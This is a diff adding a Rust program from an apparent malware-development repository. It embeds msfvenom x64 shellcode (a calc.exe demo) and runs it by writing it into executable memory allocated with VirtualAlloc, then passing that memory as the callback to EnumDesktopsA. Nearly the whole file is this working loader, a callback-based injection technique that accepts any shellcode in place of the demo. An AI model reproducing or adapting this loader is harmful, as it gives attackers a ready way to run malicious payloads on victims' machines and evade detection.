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| 1 | +/* |
| 2 | + Iterates through all desktops associated with the |
| 3 | + calling process's window station. |
| 4 | +
|
| 5 | + For Code : https://github.com/Whitecat18/Rust-for-Malware-Development.git |
| 6 | + by @5mukx |
| 7 | +*/ |
| 8 | + |
| 9 | +use std::ptr::null_mut; |
| 10 | + |
| 11 | +use winapi::um::{memoryapi::VirtualAlloc, winnt::{RtlMoveMemory, MEM_COMMIT, PAGE_EXECUTE_READWRITE}, winuser::{EnumDesktopsA, GetProcessWindowStation}}; |
| 12 | +fn main(){ |
| 13 | + |
| 14 | + // calc shellcode generated from msfvenom ! |
| 15 | + let shellcode:[u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8, |
| 16 | + 0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48, |
| 17 | + 0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, |
| 18 | + 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a, |
| 19 | + 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c, |
| 20 | + 0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41, |
| 21 | + 0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b, |
| 22 | + 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, |
| 23 | + 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0, |
| 24 | + 0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6, |
| 25 | + 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41, |
| 26 | + 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45, |
| 27 | + 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, |
| 28 | + 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0, |
| 29 | + 0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e, |
| 30 | + 0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20, |
| 31 | + 0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9, |
| 32 | + 0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, |
| 33 | + 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba, |
| 34 | + 0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41, |
| 35 | + 0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c, |
| 36 | + 0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72, |
| 37 | + 0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, |
| 38 | + 0x63,0x2e,0x65,0x78,0x65,0x00]; |
| 39 | + unsafe{ |
| 40 | + let alloc = VirtualAlloc( |
| 41 | + null_mut(), |
| 42 | + shellcode.len(), |
| 43 | + MEM_COMMIT, |
| 44 | + PAGE_EXECUTE_READWRITE |
| 45 | + ); |
| 46 | + |
| 47 | + RtlMoveMemory(alloc, shellcode.as_ptr() as *const _ , shellcode.len()); |
| 48 | + |
| 49 | + EnumDesktopsA(GetProcessWindowStation(), std::mem::transmute(alloc) , 0); |
| 50 | + } |
| 51 | +} |
| 52 | + |
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